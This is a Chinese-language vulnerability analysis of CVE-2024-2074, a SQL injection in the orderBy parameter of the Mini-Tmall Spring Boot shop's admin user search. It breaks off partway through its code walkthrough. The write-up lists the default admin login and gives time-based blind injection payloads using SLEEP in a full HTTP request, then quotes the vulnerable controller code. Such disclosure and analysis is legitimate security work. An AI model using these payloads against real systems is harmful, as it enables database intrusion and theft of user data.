CVE-2024-2074 SpringBoot迷你天猫商城Mini-Tmall sql注入漏洞分析

漏洞简介

Mini-Tmall是一个基于Spring Boot的迷你天猫商城。Mini-Tmall在20231017版本及之前存在一个严重的漏洞，攻击者可以利用该漏洞通过远程执行特定操作来注入恶意SQL语句，从而获取敏感信息或控制数据库。此漏洞影响文件?r=tmall/admin/user/1/1的一些未知处理，攻击者可以通过篡改orderBy参数来达成sql注入攻击。攻击者可以通过远程方式发起攻击。

版本影响

<=20231017版本

漏洞复现

需要登录下后台，用户admin 密码123456

发送payload 时间盲注

GET /tmall/admin/user/1/1?orderBy=if(1=1,SLEEP(3),0) HTTP/1.1

GET /tmall/admin/user/1/1?orderBy=if(1=0,SLEEP(3),0) HTTP/1.1

GET /tmall/admin/user/1/1?orderBy=if(1=1,SLEEP(3),0) HTTP/1.1
Host: 127.0.0.1:8081
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: username=admin; username=admin; JSESSIONID=4AEF92786C4773E32B9A28D55967D626; PHPSESSID=k9teu1bb4vgng6sknaa9rmrqdc; __test=1; RememberMe=92668751^1#1937686128408600303; TCSESSIONID=5592AFBD3EFF180BC23EE2DAC3168AC2
Connection: close

延时成功，漏洞复现成功

漏洞分析

在控制器UserController下存在方法

 //按条件查询用户-ajax
    @ResponseBody
    @RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=UTF-8")
    public String getUserBySearch(@RequestParam(required = false) String user_name/* 用户名称 */,
                                  @RequestParam(required = false) Byte[] user_gender_array/* 用户性别数组 */,
                                  @RequestParam(required = false) String orderBy/* 排序字段 */,
                                  @RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,
                                  @PathVariable Integer index/* 页数 */,
                                  @PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException {
        //移除不必要条件
        Byte gender = null;
        if (user_gender_array != null && user_gender_array.length == 1) {
            gender = user_gender_array[0];
        }

        if (user_name != null) {
            //如果为非空字符串则解决中文乱码：URLDecoder.decode(String,"UTF-8");
            user_name = "".equals(user_name) ? null : URLDecoder.decode(user_name, "UTF-8");
        }
        if (orderBy != null && "".equals(orderBy)) {
            orderBy = null;
        }
        //封装查询条件
        User user = new User()
                .setUser_name(user_name)
                .setUser_gender(gender);

        OrderUtil orderUtil = null;
        if (orderBy != null) {
            logger.info("根据{}排序，是否倒序:{}",orderBy,isDesc);
            orderUtil = new OrderUtil(orderBy, isDesc);
        }

        JSONObject object = new JSONObject();
        logger.info("按条件获取第{}页的{}条用户", index + 1, count);
        PageUtil pageUtil = new PageUtil(index, count);
        List<User> userList = userService.getList(user, orderUtil, pageUtil);
        object.put("userList", JSONArray.parseArray(JSON.toJSONString(userList)));
        logger.info("按条件获取用户总数量");
        Integer userCount = userService.getTotal(user);
        object.put("userCount", userCount);
        logger.info("获取分页信息");
        pageUtil.setTotal(userCount);
        object.put("totalPage", pageUtil.getTotalPage());
        object.put("pageUtil", pageUtil);

        return object.toJSONString();
    }
}

其中有几个字段是我们可控的，重点关注下orderBy的值

orderBy先被传入orderUtil对象中之后作为参数执行userService.getList

找到接口实现类UserControllerImpl 跟入getList方法